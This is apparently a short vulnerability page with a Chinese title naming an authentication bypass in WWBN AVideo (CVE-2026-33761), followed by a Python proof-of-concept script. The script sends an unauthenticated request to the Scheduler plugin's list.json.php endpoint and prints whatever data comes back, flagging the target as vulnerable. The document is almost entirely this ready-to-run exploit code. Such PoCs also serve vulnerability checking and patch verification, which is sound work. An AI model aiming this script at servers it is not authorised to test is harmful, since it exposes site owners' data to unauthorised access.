CVE-2026-33761 WWBN AVideo认证绕过漏洞

import requests def check_poc(target_url): """ PoC for CVE-2026-33761 Checks if the list.json.php endpoint is accessible without authentication. """ # Construct the full path to the vulnerable endpoint # The vulnerability exists in the Scheduler plugin vulnerable_path = "/plugin/Scheduler/list.json.php" full_url = target_url.rstrip('/') + vulnerable_path try: # Send a GET request without cookies or authentication headers response = requests.get(full_url, timeout=10) # Check if the response indicates success and contains JSON data if response.status_code == 200 and 'application/json' in response.headers.get('Content-Type', ''): print(f"[+] Target is vulnerable: {full_url}") print(f"[+] Response content:\n{response.text}") else: print(f"[-] Target does not appear to be vulnerable or endpoint is not found.") print(f" Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/avideo" check_poc(target)